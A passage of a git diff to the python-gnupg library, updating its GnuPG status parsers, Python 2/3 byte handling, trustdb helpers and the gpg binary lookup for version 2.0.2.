self._handle_io(args, data, result, - passphrase=passphrase, binary=True) - log.debug("\n%s" % result.data) + log.debug("Got data '%s' with type '%s'." % (data, type(data))) + self._handle_io(args, data, result, passphrase=passphrase, binary=True) + # Avoid writing raw encrypted bytes to terminal loggers and breaking + # them in that adorable way where they spew hieroglyphics until reset: + if armor: + log.debug("\n%s" % result.data) if output_filename: log.info("Writing encrypted output to file: %s" % output_filename) - with open(output_filename, 'w+') as fh: + with open(output_filename, 'wb') as fh: fh.write(result.data) fh.flush() log.info("Encrypted output written successfully.") return result + + def _add_recipient_string(self, args, hidden_recipients, recipient): + if isinstance(hidden_recipients, (list, tuple)): + if [s for s in hidden_recipients if recipient in str(s)]: + args.append('--hidden-recipient %s' % recipient) + else: + args.append('--recipient %s' % recipient) + else: + args.append('--recipient %s' % recipient) diff --git a/gnupg/_parsers.py b/gnupg/_parsers.py index 2e1767e..9de57d2 100644 --- a/gnupg/_parsers.py +++ b/gnupg/_parsers.py @@ -367,7 +367,7 @@ def _sanitise(*args): checked += (val + " ") log.debug("_check_option(): No checks for %s" % val) - return checked + return checked.rstrip(' ') is_flag = lambda x: x.startswith('--') @@ -475,6 +475,8 @@ def _get_options_group(group=None): '--export-secret-subkeys', '--fingerprint', '--gen-revoke', + '--hidden-encrypt-to', + '--hidden-recipient', '--list-key', '--list-keys', '--list-public-keys', @@ -514,6 +516,7 @@ def _get_options_group(group=None): '--import', '--verify', '--verify-files', + '--output', ]) #: These options expect a string. see :func:`_check_preferences`. pref_options = frozenset(['--digest-algo', @@ -555,6 +558,9 @@ def _get_options_group(group=None): '--list-public-keys', '--list-secret-keys', '--list-sigs', + '--lock-multiple', + '--lock-never', + '--lock-once', '--no-default-keyring', '--no-default-recipient', '--no-emit-version', @@ -566,6 +572,7 @@ def _get_options_group(group=None): '--quiet', '--sign', '--symmetric', + '--throw-keyids', '--use-agent', '--verbose', '--version', @@ -905,6 +912,7 @@ class Sign(object): timestamp = None #: xxx fill me in what = None + status = None def __init__(self, gpg): self._gpg = gpg @@ -927,9 +935,9 @@ class Sign(object): :raises: :exc:`~exceptions.ValueError` if the status message is unknown. """ if key in ("USERID_HINT", "NEED_PASSPHRASE", "BAD_PASSPHRASE", - "GOOD_PASSPHRASE", "BEGIN_SIGNING", "CARDCTRL", - "INV_SGNR", "SIGEXPIRED"): - pass + "GOOD_PASSPHRASE", "MISSING_PASSPHRASE", "PINENTRY_LAUNCHED", + "BEGIN_SIGNING", "CARDCTRL", "INV_SGNR", "SIGEXPIRED"): + self.status = key.replace("_", " ").lower() elif key == "SIG_CREATED": (self.sig_type, self.sig_algo, self.sig_hash_algo, self.what, self.timestamp, self.fingerprint) = value.split() @@ -946,6 +954,7 @@ class Sign(object): else: raise ValueError("Unknown status message: %r" % key) + class ListKeys(list): """Handle status messages for --list-keys. @@ -956,7 +965,6 @@ class ListKeys(list): | crs = X.509 certificate and private key available | ssb = secret subkey (secondary key) | uat = user attribute (same as user id except for field 10). - | sig = signature | rev = revocation signature | pkd = public key data (special field format, see below) | grp = reserved for gpgsm @@ -967,8 +975,10 @@ class ListKeys(list): super(ListKeys, self).__init__() self._gpg = gpg self.curkey = None + self.curuid = None self.fingerprints = [] self.uids = [] + self.sigs = {} def key(self, args): vars = (""" @@ -978,8 +988,12 @@ class ListKeys(list): for i in range(len(vars)): self.curkey[vars[i]] = args[i] self.curkey['uids'] = [] + self.curkey['sigs'] = {} if self.curkey['uid']: - self.curkey['uids'].append(self.curkey['uid']) + self.curuid = self.curkey['uid'] + self.curkey['uids'].append(self.curuid) + self.sigs[self.curuid] = set() + self.curkey['sigs'][self.curuid] = [] del self.curkey['uid'] self.curkey['subkeys'] = [] self.append(self.curkey) @@ -994,8 +1008,21 @@ class ListKeys(list): uid = args[9] uid = ESCAPE_PATTERN.sub(lambda m: chr(int(m.group(1), 16)), uid) self.curkey['uids'].append(uid) + self.curuid = uid + self.curkey['sigs'][uid] = [] + self.sigs[uid] = set() self.uids.append(uid) + def sig(self, args): + vars = (""" + type trust length algo keyid date expires dummy ownertrust uid + """).split() + sig = {} + for i in range(len(vars)): + sig[vars[i]] = args[i] + self.curkey['sigs'][self.curuid].append(sig) + self.sigs[self.curuid].add(sig['keyid']) + def sub(self, args): subkey = [args[4], args[11]] self.curkey['subkeys'].append(subkey) @@ -1005,42 +1032,52 @@ class ListKeys(list): class ImportResult(object): - """Parse GnuPG status messages for key import operations. - - :type gpg: :class:`gnupg.GPG` - :param gpg: An instance of :class:`gnupg.GPG`. - """ - _ok_reason = {'0': 'Not actually changed', - '1': 'Entirely new key', - '2': 'New user IDs', - '4': 'New signatures', - '8': 'New subkeys', - '16': 'Contains private key', - '17': 'Contains private key',} - - _problem_reason = { '0': 'No specific reason given', - '1': 'Invalid Certificate', - '2': 'Issuer Certificate missing', - '3': 'Certificate Chain too long', - '4': 'Error storing certificate', } - - _fields = '''count no_user_id imported imported_rsa unchanged - n_uids n_subk n_sigs n_revoc sec_read sec_imported sec_dups - not_imported'''.split() - _counts = OrderedDict( - zip(_fields, [int(0) for x in range(len(_fields))]) ) - - #: A list of strings containing the fingerprints of the GnuPG keyIDs - #: imported. - fingerprints = list() - - #: A list containing dictionaries with information gathered on keys - #: imported. - results = list() + """Parse GnuPG status messages for key import operations.""" def __init__(self, gpg): + """Start parsing the results of a key import operation. + + :type gpg: :class:`gnupg.GPG` + :param gpg: An instance of :class:`gnupg.GPG`. + """ self._gpg = gpg - self.counts = self._counts + + #: A map from GnuPG codes shown with the ``IMPORT_OK`` status message + #: to their human-meaningful English equivalents. + self._ok_reason = {'0': 'Not actually changed', + '1': 'Entirely new key', + '2': 'New user IDs', + '4': 'New signatures', + '8': 'New subkeys', + '16': 'Contains private key', + '17': 'Contains private key',} + + #: A map from GnuPG codes shown with the ``IMPORT_PROBLEM`` status + #: message to their human-meaningful English equivalents. + self._problem_reason = { '0': 'No specific reason given', + '1': 'Invalid Certificate', + '2': 'Issuer Certificate missing', + '3': 'Certificate Chain too long', + '4': 'Error storing certificate', } + + #: All the possible status messages pertaining to actions taken while + #: importing a key. + self._fields = '''count no_user_id imported imported_rsa unchanged + n_uids n_subk n_sigs n_revoc sec_read sec_imported sec_dups + not_imported'''.split() + + #: Counts of all the status message results, :data:`_fields` which + #: have appeared. + self.counts = OrderedDict( + zip(self._fields, [int(0) for x in range(len(self._fields))])) + + #: A list of strings containing the fingerprints of the GnuPG keyIDs + #: imported. + self.fingerprints = list() + + #: A list containing dictionaries with information gathered on keys + #: imported. + self.results = list() def __nonzero__(self): """Override the determination for truthfulness evaluation. @@ -1048,7 +1085,7 @@ class ImportResult(object): :rtype: bool :returns: True if we have immport some keys, False otherwise. """ - if self.counts.not_imported > 0: return False + if self.counts['not_imported'] > 0: return False if len(self.fingerprints) == 0: return False return True __bool__ = __nonzero__ @@ -1056,7 +1093,7 @@ class ImportResult(object): def _handle_status(self, key, value): """Parse a status code from the attached GnuPG process. - :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + :raises ValueError: if the status message is unknown. """ if key == "IMPORTED": # this duplicates info we already see in import_ok & import_problem @@ -1189,6 +1226,37 @@ class Verify(object): self.trust_level = None #: The string corresponding to the ``trust_level`` number. self.trust_text = None + #: The subpackets. These are stored as a dictionary, in the following + #: form: + #: Verify.subpackets = {'SUBPACKET_NUMBER': {'flags': FLAGS, + #: 'length': LENGTH, + #: 'data': DATA}, + #: 'ANOTHER_SUBPACKET_NUMBER': {...}} + self.subpackets = {} + #: The signature or key notations. These are also stored as a + #: dictionary, in the following form: + #: + #: Verify.notations = {NOTATION_NAME: NOTATION_DATA} + #: + #: For example, the Bitcoin core developer, Peter Todd, encodes in + #: every signature the header of the latest block on the Bitcoin + #: blockchain (to prove that a GnuPG signature that Peter made was made + #: *after* a specific point in time). These look like: + #: + #: gpg: Signature notation: blockhash@bitcoin.org=000000000000000006f793d4461ee3e756ff04cc62581c96a42ed67dc233da3a + #: + #: Which python-gnupg would store as: + #: + #: Verify.notations['blockhash@bitcoin.org'] = '000000000000000006f793d4461ee3e756ff04cc62581c96a42ed67dc233da3a' + self.notations = {} + + #: This will be a str or None. If not None, it is the last + #: ``NOTATION_NAME`` we stored in the ``notations`` dict. Because we're + #: not assured that a ``NOTATION_DATA`` status will arrive *immediately* + #: after its corresponding ``NOTATION_NAME``, we store the latest + #: ``NOTATION_NAME`` here until we get its corresponding + #: ``NOTATION_DATA``. + self._last_notation_name = None def __nonzero__(self): """Override the determination for truthfulness evaluation. @@ -1209,7 +1277,8 @@ class Verify(object): self.trust_level = self.TRUST_LEVELS[key] elif key in ("RSA_OR_IDEA", "NODATA", "IMPORT_RES", "PLAINTEXT", "PLAINTEXT_LENGTH", "POLICY_URL", "DECRYPTION_INFO", - "DECRYPTION_OKAY", "INV_SGNR"): + "DECRYPTION_OKAY", "INV_SGNR", "PROGRESS", + "PINENTRY_LAUNCHED"): pass elif key == "BADSIG": self.valid = False @@ -1220,6 +1289,7 @@ class Verify(object): self.status = 'signature good' self.key_id, self.username = value.split(None, 1) elif key == "VALIDSIG": + self.valid = True (self.fingerprint, self.creation_date, self.sig_timestamp, @@ -1245,17 +1315,106 @@ class Verify(object): self.valid = False self.key_id = value self.status = 'no public key' + # These are useless in Verify, since they are spit out for any + # pub/subkeys on the key, not just the one doing the signing. + # if we want to check for signatures make with expired key, + # the relevant flags are REVKEYSIG and KEYREVOKED. elif key in ("KEYEXPIRED", "SIGEXPIRED"): - # these are useless in verify, since they are spit out for any - # pub/subkeys on the key, not just the one doing the signing. - # if we want to check for signatures with expired key, - # the relevant flag is EXPKEYSIG. pass + # The signature has an expiration date which has already passed + # (EXPKEYSIG), or the signature has been revoked (REVKEYSIG): elif key in ("EXPKEYSIG", "REVKEYSIG"): - # signed with expired or revoked key self.valid = False self.key_id = value.split()[0] self.status = (('%s %s') % (key[:3], key[3:])).lower() + # This is super annoying, and bad design on the part of GnuPG, in my + # opinion. + # + # This flag can get triggered if a valid signature is made, and then + # later the key (or subkey) which created the signature is + # revoked. When this happens, GnuPG will output: + # + # REVKEYSIG 075BFD18B365D34C Test Expired Key <test@python-gnupg.git> + # VALIDSIG DAB69B05F591640B7F4DCBEA075BFD18B365D34C 2014-09-26 1411700539 0 4 0 1 2 00 4BA800F77452A6C29447FF20F4AF76ACBBE22CE2 + # KEYREVOKED + # + # Meaning that we have a timestamp for when the signature was created, + # and we know that the signature is valid, but since GnuPG gives us no + # timestamp for when the key was revoked... we have no ability to + # determine if the valid signature was made *before* the signing key + # was revoked or *after*. Meaning that if you are like me and you sign + # all your software releases and git commits, and you also practice + # good opsec by doing regular key rotations, your old signatures made + # by your expired/revoked keys (even though they were created when the + # key was still good) are considered bad because GnuPG is a + # braindamaged piece of shit. + # + # Software engineering, motherfuckers, DO YOU SPEAK IT? + # + # The signing key which created the signature has since been revoked + # (KEYREVOKED), and we're going to ignore it (but add something to the + # status message): + elif key in ("KEYREVOKED"): + self.status = '\n'.join([self.status, "key revoked"]) + # SIG_SUBPACKET <type> <flags> <len> <data> + # This indicates that a signature subpacket was seen. The format is + # the same as the "spk" record above. + # + # [...] + # + # SPK - Signature subpacket records + # + # - Field 2 :: Subpacket number as per RFC-4880 and later. + # - Field 3 :: Flags in hex. Currently the only two bits assigned + # are 1, to indicate that the subpacket came from the + # hashed part of the signature, and 2, to indicate the + # subpacket was marked critical. + # - Field 4 :: Length of the subpacket. Note that this is the + # length of the subpacket, and not the length of field + # 5 below. Due to the need for %-encoding, the length + # of field 5 may be up to 3x this value. + # - Field 5 :: The subpacket data. Printable ASCII is shown as + # ASCII, but other values are rendered as %XX where XX + # is the hex value for the byte. + elif key in ("SIG_SUBPACKET"): + fields = value.split() + try: + subpacket_number = fields[0] + self.subpackets[subpacket_number] = {'flags': None, + 'length': None, + 'data': None} + except IndexError: + # We couldn't parse the subpacket type (an RFC4880 + # identifier), so we shouldn't continue parsing. + pass + else: + # Pull as much data as we can parse out of the subpacket: + try: + self.subpackets[subpacket_number]['flags'] = fields[1] + self.subpackets[subpacket_number]['length'] = fields[2] + self.subpackets[subpacket_number]['data'] = fields[3] + except IndexError: + pass + # NOTATION_ + # There are actually two related status codes to convey notation + # data: + # + # - NOTATION_NAME <name> + # - NOTATION_DATA <string> + # + # <name> and <string> are %XX escaped; the data may be split among + # several NOTATION_DATA lines. + elif key.startswith("NOTATION_"): + if key.endswith("NAME"): + self.notations[value] = str() + self._last_notation_name = value + elif key.endswith("DATA"): + if self._last_notation_name is not None: + # Append the NOTATION_DATA to any previous data we + # received for that NOTATION_NAME: + self.notations[self._last_notation_name] += value + else: + pass else: raise ValueError("Unknown status message: %r" % key) @@ -1360,26 +1519,33 @@ class ListPackets(object): self.need_passphrase_sym = None #: The keyid and uid which this data is encrypted to. self.userid_hint = None + #: The first key that we detected that a message was encrypted + #: to. This is provided for backwards compatibility. As of Issue #77_, + #: the ``encrypted_to`` attribute should be used instead. + self.key = None + #: A list of keyid's that the message has been encrypted to. + self.encrypted_to = [] def _handle_status(self, key, value): """Parse a status code from the attached GnuPG process. :raises: :exc:`~exceptions.ValueError` if the status message is unknown. """ - if key == 'NODATA': + if key in ('NO_SECKEY', 'BEGIN_DECRYPTION', 'DECRYPTION_FAILED', + 'END_DECRYPTION', 'GOOD_PASSPHRASE', 'BAD_PASSPHRASE'): + pass + elif key == 'NODATA': self.status = nodata(value) elif key == 'ENC_TO': - # This will only capture keys in our keyring. In the future we - # may want to include multiple unknown keys in this list. - self.key, _, _ = value.split() - elif key == 'NEED_PASSPHRASE': + key, _, _ = value.split() + if not self.key: + self.key = key + self.encrypted_to.append(key) + elif key == ('NEED_PASSPHRASE', 'MISSING_PASSPHRASE'): self.need_passphrase = True elif key == 'NEED_PASSPHRASE_SYM': self.need_passphrase_sym = True elif key == 'USERID_HINT': self.userid_hint = value.strip().split() - elif key in ('NO_SECKEY', 'BEGIN_DECRYPTION', 'DECRYPTION_FAILED', - 'END_DECRYPTION'): - pass else: raise ValueError("Unknown status message: %r" % key) diff --git a/gnupg/_trust.py b/gnupg/_trust.py index 514ae8c..224e7b6 100644 --- a/gnupg/_trust.py +++ b/gnupg/_trust.py @@ -57,7 +57,7 @@ def export_ownertrust(cls, trustdb=None): except (OSError, IOError) as err: log.debug(str(err)) - export_proc = cls._open_subprocess('--export-ownertrust') + export_proc = cls._open_subprocess(['--export-ownertrust']) tdb = open(trustdb, 'wb') _util._threaded_copy_data(export_proc.stdout, tdb) @@ -71,7 +71,7 @@ def import_ownertrust(self, trustdb=None): if trustdb is None: trustdb = os.path.join(cls.homedir, 'trustdb.gpg') - import_proc = cls._open_subprocess('--import-ownertrust') + import_proc = cls._open_subprocess(['--import-ownertrust']) tdb = open(trustdb, 'rb') _util._threaded_copy_data(tdb, import_proc.stdin) @@ -98,6 +98,6 @@ def fix_trustdb(cls, trustdb=None): """ if trustdb is None: trustdb = os.path.join(cls.homedir, 'trustdb.gpg') - export_proc = cls._open_subprocess('--export-ownertrust') - import_proc = cls._open_subprocess('--import-ownertrust') + export_proc = cls._open_subprocess(['--export-ownertrust']) + import_proc = cls._open_subprocess(['--import-ownertrust']) _util._threaded_copy_data(export_proc.stdout, import_proc.stdin) diff --git a/gnupg/_util.py b/gnupg/_util.py index e1e14ab..79855ac 100644 --- a/gnupg/_util.py +++ b/gnupg/_util.py @@ -28,18 +28,58 @@ from time import mktime import codecs import encodings import os -import psutil import threading import random import re import string import sys +# These are all the classes which are stream-like; they are used in +# :func:`_is_stream`. +_STREAMLIKE_TYPES = [] + +# These StringIO classes are actually utilised. try: + import io from io import StringIO from io import BytesIO except ImportError: from cStringIO import StringIO +else: + # The io.IOBase type covers the above example for an open file handle in + # Python3, as well as both io.BytesIO and io.StringIO. + _STREAMLIKE_TYPES.append(io.IOBase) + +# The remaining StringIO classes which are imported are used to determine if a +# object is a stream-like in :func:`_is_stream`. +if 2 == sys.version_info[0]: + # Import the StringIO class from the StringIO module since it is a + # commonly used stream class. It is distinct from either of the + # StringIO's that may be loaded in the above try/except clause, so the + # name is prefixed with an underscore to distinguish it. + from StringIO import StringIO as _StringIO_StringIO + _STREAMLIKE_TYPES.append(_StringIO_StringIO) + + # Import the cStringIO module to test for the cStringIO stream types, + # InputType and OutputType. See + # http://stackoverflow.com/questions/14735295/to-check-an-instance-is-stringio + import cStringIO as _cStringIO + _STREAMLIKE_TYPES.append(_cStringIO.InputType) + _STREAMLIKE_TYPES.append(_cStringIO.OutputType) + + # In Python2: + # + # >>> type(open('README.md', 'rb')) + # <open file 'README.md', mode 'rb' at 0x7f9493951d20> + # + # whereas, in Python3, the `file` builtin doesn't exist and instead we get: + # + # >>> type(open('README.md', 'rb')) + # <_io.BufferedReader name='README.md'> + # + # which is covered by the above addition of io.IOBase. + _STREAMLIKE_TYPES.append(file) + from . import _logger @@ -56,6 +96,9 @@ try: except NameError: _py3k = True +_running_windows = False +if "win" in sys.platform: + _running_windows = True ## Directory shortcuts: ## we don't want to use this one because it writes to the install dir: @@ -63,6 +106,20 @@ except NameError: _here = os.path.join(os.getcwd(), 'gnupg') ## current dir _test = os.path.join(os.path.join(_here, 'test'), 'tmp') ## ./tests/tmp _user = os.environ.get('HOME') ## $HOME + +# Fix for Issue #74: we shouldn't expect that a $HOME directory is set in all +# environs. https://github.com/isislovecruft/python-gnupg/issues/74 +if not _user: + _user = '/tmp/python-gnupg' + try: + os.makedirs(_user) + except (OSError, IOError): + _user = os.getcwd() + # If we can't use $HOME, but we have (or can create) a + # /tmp/python-gnupg/gnupghome directory, then we'll default to using + # that. Otherwise, we'll use the current directory + /gnupghome. + _user = os.path.sep.join([_user, 'gnupghome']) + _ugpg = os.path.join(_user, '.gnupg') ## $HOME/.gnupg _conf = os.path.join(os.path.join(_user, '.config'), 'python-gnupg') ## $HOME/.config/python-gnupg @@ -70,6 +127,9 @@ _conf = os.path.join(os.path.join(_user, '.config'), 'python-gnupg') ## Logger is disabled by default log = _logger.create_logger(0) +#: Compiled regex for determining a GnuPG binary's version: +_VERSION_STRING_REGEX = re.compile('(\d)*(\.)*(\d)*(\.)*(\d)*') + def find_encodings(enc=None, system=False): """Find functions for encoding translations for a specific codec. @@ -105,6 +165,51 @@ def find_encodings(enc=None, system=False): return coder + +if _py3k: + def b(x): + """See http://python3porting.com/problems.html#nicer-solutions""" + coder = find_encodings() + if isinstance(x, bytes): + return coder.encode(x.decode(coder.name))[0] + else: + return coder.encode(x)[0] + + def s(x): + if isinstance(x, str): + return x + elif isinstance(x, (bytes, bytearray)): + return x.decode(find_encodings().name) + else: + raise NotImplemented +else: + def b(x): + """See http://python3porting.com/problems.html#nicer-solutions""" + return x + + def s(x): + if isinstance(x, basestring): + return x + elif isinstance(x, (bytes, bytearray)): + return x.decode(find_encodings().name) + else: + raise NotImplemented + +def binary(data): + coder = find_encodings() + + if _py3k and isinstance(data, bytes): + encoded = coder.encode(data.decode(coder.name))[0] + elif _py3k and isinstance(data, str): + encoded = coder.encode(data)[0] + elif not _py3k and type(data) is not str: + encoded = coder.encode(data)[0] + else: + encoded = data + + return encoded + + def author_info(name, contact=None, public_key=None): """Easy object-oriented representation of contributor info. @@ -124,8 +229,6 @@ def _copy_data(instream, outstream): """ sent = 0 - coder = find_encodings() - while True: if ((_py3k and isinstance(instream, str)) or (not _py3k and isinstance(instream, basestring))): @@ -135,24 +238,64 @@ def _copy_data(instream, outstream): data = instream.read(1024) if len(data) == 0: break + sent += len(data) - log.debug("Sending chunk %d bytes:\n%s" - % (sent, data)) - try: - outstream.write(data) - except UnicodeError: + encoded = binary(data) + log.debug("Sending %d bytes of data..." % sent) + log.debug("Encoded data (type %s):\n%s" % (type(encoded), encoded)) + + if not _py3k: try: - outstream.write(coder.encode(data)) - except IOError: - log.exception("Error sending data: Broken pipe") + outstream.write(encoded) + except IOError as ioe: + # Can get 'broken pipe' errors even when all data was sent + if 'Broken pipe' in str(ioe): + log.error('Error sending data: Broken pipe') + else: + log.exception(ioe) break - except IOError as ioe: - # Can get 'broken pipe' errors even when all data was sent - if 'Broken pipe' in str(ioe): - log.error('Error sending data: Broken pipe') else: - log.exception(ioe) - break + log.debug("Wrote data type <type 'str'> to outstream.") + else: + try: + outstream.write(bytes(encoded)) + except TypeError as te: + # XXX FIXME This appears to happen because + # _threaded_copy_data() sometimes passes the `outstream` as an + # object with type <_io.BufferredWriter> and at other times + # with type <encodings.utf_8.StreamWriter>. We hit the + # following error when the `outstream` has type + # <encodings.utf_8.StreamWriter>. + if not "convert 'bytes' object to str implicitly" in str(te): + log.error(str(te)) + try: + outstream.write(encoded.decode()) + except TypeError as yate: + # We hit the "'str' does not support the buffer interface" + # error in Python3 when the `outstream` is an io.BytesIO and + # we try to write a str to it. We don't care about that + # error, we'll just try again with bytes. + if not "does not support the buffer interface" in str(yate): + log.error(str(yate)) + except IOError as ioe: + # Can get 'broken pipe' errors even when all data was sent + if 'Broken pipe' in str(ioe): + log.error('Error sending data: Broken pipe') + else: + log.exception(ioe) + break + else: + log.debug("Wrote data type <class 'str'> outstream.") + except IOError as ioe: + # Can get 'broken pipe' errors even when all data was sent + if 'Broken pipe' in str(ioe): + log.error('Error sending data: Broken pipe') + else: + log.exception(ioe) + break + else: + log.debug("Wrote data type <class 'bytes'> to outstream.") + try: outstream.close() except IOError as ioe: @@ -260,6 +403,8 @@ def _find_binary(binary=None): """ found = None if binary is not None: + if os.path.isabs(binary) and os.path.isfile(binary): + return binary if not os.path.isabs(binary): try: found = _which(binary) @@ -272,7 +417,7 @@ def _find_binary(binary=None): elif os.access(binary, os.X_OK): found = binary if found is None: - try: found = _which('gpg')[0] + try: found = _which('gpg', abspath_only=True, disallow_symlinks=True)[0] except IndexError as ie: log.error("Could not find binary for 'gpg'.") try: found = _which('gpg2')[0] @@ -281,14 +426,7 @@ def _find_binary(binary=None): if found is None: raise RuntimeError("GnuPG is not installed!") - try: - assert os.path.isabs(found), "Path to gpg binary not absolute" - assert not os.path.islink(found), "Path to gpg binary is symlink" - assert os.access(found, os.X_OK), "Lacking +x perms for gpg binary" - except (AssertionError, AttributeError) as ae: - log.error(str(ae)) - else: - return found + return found def _has_readwrite(path): """ @@ -335,7 +473,32 @@ def _is_stream(input): :rtype: bool :returns: True if :param:input is a stream, False if otherwise. """ - return isinstance(input, BytesIO) or isinstance(input, StringIO) + return isinstance(input, tuple(_STREAMLIKE_TYPES)) + +def _is_string(thing): + """Check that **thing** is a string. The definition of the latter depends + upon the Python version. + + :param thing: The thing to check if it's a string. + :rtype: bool + :returns: ``True`` if **thing** is string (or unicode in Python2). + """ + if (_py3k and isinstance(thing, str)): + return True + if (not _py3k and isinstance(thing, basestring)): + return True + return False + +def _is_bytes(thing): + """Check that **thing** is bytes. + + :param thing: The thing to check if it's bytes. + :rtype: bool + :returns: ``True`` if **thing** is bytes or a bytearray. + """ + if isinstance(thing, (bytes, bytearray)): + return True + return False def _is_list_or_tuple(instance): """Check that ``instance`` is a list or tuple. @@ -368,21 +531,26 @@ def _is_gpg2(version): return True return False -def _make_binary_stream(s, encoding): - """ - xxx fill me in +def _make_binary_stream(thing, encoding=None, armor=True): + """Encode **thing**, then make it stream/file-like. + + :param thing: The thing to turn into a encoded stream. + :rtype: ``io.BytesIO`` or ``io.StringIO``. + :returns: The encoded **thing**, wrapped in an ``io.BytesIO`` (if + available), otherwise wrapped in a ``io.StringIO``. """ + if _py3k: + if isinstance(thing, str): + thing = thing.encode(encoding) + else: + if type(thing) is not str: + thing = thing.encode(encoding) + try: - if _py3k: - if isinstance(s, str): - s = s.encode(encoding) - else: - if type(s) is not str: - s = s.encode(encoding) - from io import BytesIO - rv = BytesIO(s) - except ImportError: - rv = StringIO(s) + rv = BytesIO(thing) + except NameError: + rv = StringIO(thing) + return rv def _make_passphrase(length=None, save=False, file=None): @@ -403,7 +571,7 @@ def _make_passphrase(length=None, save=False, file=None): passphrase = _make_random_string(length) if save: - ruid, euid, suid = psutil.Process(os.getpid()).uids + ruid, euid, suid = os.getresuid() gid = os.getgid() now = mktime(localtime()) @@ -434,8 +602,7 @@ def _match_version_string(version): :param str version: A version string in the form x.x.x """ - regex = re.compile('(\d)*(\.)*(\d)*(\.)*(\d)*') - matched = regex.match(version) + matched = _VERSION_STRING_REGEX.match(version) g = matched.groups() major, minor, micro = int(g[0]), int(g[2]), int(g[4]) return (major, minor, micro) @@ -485,7 +652,7 @@ def _utc_epoch(): """Get the seconds since epoch.""" return int(mktime(localtime())) -def _which(executable, flags=os.X_OK): +def _which(executable, flags=os.X_OK, abspath_only=False, disallow_symlinks=False): """Borrowed from Twisted's :mod:twisted.python.proutils . Search PATH for executable files with the given name. @@ -508,6 +675,17 @@ def _which(executable, flags=os.X_OK): :returns: A list of the full paths to files found, in the order in which they were found. """ + def _can_allow(p): + if not os.access(p, flags): + return False + if abspath_only and not os.path.abspath(p): + log.warn('Ignoring %r (path is not absolute)', p) + return False + if disallow_symlinks and os.path.islink(p): + log.warn('Ignoring %r (path is a symlink)', p) + return False + return True + result = [] exts = filter(None, os.environ.get('PATHEXT', '').split(os.pathsep)) path = os.environ.get('PATH', None) @@ -515,11 +693,11 @@ def _which(executable, flags=os.X_OK): return [] for p in os.environ.get('PATH', '').split(os.pathsep): p = os.path.join(p, executable) - if os.access(p, flags): + if _can_allow(p): result.append(p) for e in exts: pext = p + e - if os.access(pext, flags): + if _can_allow(pext): result.append(pext) return result diff --git a/gnupg/_version.py b/gnupg/_version.py index 1a0cb9d..fede8ae 100644 --- a/gnupg/_version.py +++ b/gnupg/_version.py @@ -4,8 +4,8 @@ # unpacked source archive. Distribution tarballs contain a pre-generated copy # of this file. -version_version = '1.3.1' -version_full = '87928205a87afc66779b9760df039642eed291b2' +version_version = '2.0.2' +version_full = '4f1b1f6a8d16df9d4e1f29ba9223f05889131189' def get_versions(default={}, verbose=False): return {'version': version_version, 'full': version_full} diff --git a/gnupg/gnupg.py b/gnupg/gnupg.py index 9aa8232..215233e 100644 --- a/gnupg/gnupg.py +++ b/gnupg/gnupg.py @@ -36,13 +36,7 @@ import os import re import textwrap -try: - from io import StringIO -except ImportError: - from cStringIO import StringIO - #: see :pep:`328` http://docs.python.org/2.5/whatsnew/pep-328.html -from . import _parsers from . import _util from . import _trust from ._meta import GPGBase @@ -66,7 +60,7 @@ class GPG(GPGBase): def __init__(self, binary=None, homedir=None, verbose=False, use_agent=False, keyring=None, secring=None, - options=None): + ignore_homedir_permissions=False, options=None): """Initialize a GnuPG process wrapper. :param str binary: Name for GnuPG binary executable. If the absolute @@ -79,6 +73,10 @@ class GPG(GPGBase): and private keyrings. Default is whatever GnuPG defaults to. + :type ignore_homedir_permissions: :obj:`bool` + :param ignore_homedir_permissions: If true, bypass check that homedir + be writable. + :type verbose: :obj:`str` or :obj:`int` or :obj:`bool` :param verbose: String or numeric value to pass to GnuPG's ``--debug-level`` option. See the GnuPG man page for @@ -123,12 +121,16 @@ class GPG(GPGBase): secring=secring, options=options, verbose=verbose, - use_agent=use_agent,) + use_agent=use_agent, + ignore_homedir_permissions=ignore_homedir_permissions, + ) log.info(textwrap.dedent(""" Initialised settings: binary: %s + binary version: %s homedir: %s + ignore_homedir_permissions: %s keyring: %s secring: %s default_preference_list: %s @@ -136,9 +138,16 @@ class GPG(GPGBase): options: %s verbose: %s use_agent: %s - """ % (self.binary, self.homedir, self.keyring, self.secring, - self.default_preference_list, self.keyserver, self.options, - str(self.verbose), str(self.use_agent)))) + """ % (self.binary, + self.binary_version, + self.homedir, + self.ignore_homedir_permissions, + self.keyring, + self.secring, + self.default_preference_list, + self.keyserver, self.options, + str(self.verbose), + str(self.use_agent)))) self._batch_dir = os.path.join(self.homedir, 'batch-files') self._key_dir = os.path.join(self.homedir, 'generated-keys') @@ -147,58 +156,52 @@ class GPG(GPGBase): self.temp_keyring = None #: The secring used in the most recently created batch file self.temp_secring = None - #: The version string of our GnuPG binary - self.binary_version = str() - - ## check that everything runs alright, and grab the gpg binary's - ## version number while we're at it: - proc = self._open_subprocess(["--list-config", "--with-colons"]) - result = self._result_map['list'](self) - self._read_data(proc.stdout, result) - if proc.returncode: - raise RuntimeError("Error invoking gpg: %s" % result.data) - - version_line = str(result.data).partition(':version:')[2] - self.binary_version = version_line.split('\n')[0] - log.debug("Using GnuPG version %s" % self.binary_version) - if _util._is_gpg2: - # Make GnuPG>=2.0.0-only methods public: - self.fix_trustdb = self._fix_trustdb - self.import_ownertrust = self._import_ownertrust - self.export_ownertrust = self._export_ownertrust + # Make sure that the trustdb exists, or else GnuPG will exit with a + # fatal error (at least it does with GnuPG>=2.0.0): + self.create_trustdb() - # Make sure that the trustdb exists, or else GnuPG will exit with - # a fatal error (at least it does with GnuPG>=2.0.0): - self._create_trustdb() + # The --no-use-agent and --use-agent options were deprecated in GnuPG + # 2.x, so we should set use_agent to None here to avoid having + # GPGBase._make_args() add either one. + if self.is_gpg2(): + self.use_agent = None @functools.wraps(_trust._create_trustdb) - def _create_trustdb(self): + def create_trustdb(self): if self.is_gpg2(): _trust._create_trustdb(self) else: log.info("Creating the trustdb is only available with GnuPG>=2.x") + # For backward compatibility with python-gnupg<=1.3.1: + _create_trustdb = create_trustdb @functools.wraps(_trust.fix_trustdb) - def _fix_trustdb(self, trustdb=None): + def fix_trustdb(self, trustdb=None): if self.is_gpg2(): _trust.fix_trustdb(self) else: log.info("Fixing the trustdb is only available with GnuPG>=2.x") + # For backward compatibility with python-gnupg<=1.3.1: + _fix_trustdb = fix_trustdb @functools.wraps(_trust.import_ownertrust) - def _import_ownertrust(self, trustdb=None): + def import_ownertrust(self, trustdb=None): if self.is_gpg2(): _trust.import_ownertrust(self) else: log.info("Importing ownertrust is only available with GnuPG>=2.x") + # For backward compatibility with python-gnupg<=1.3.1: + 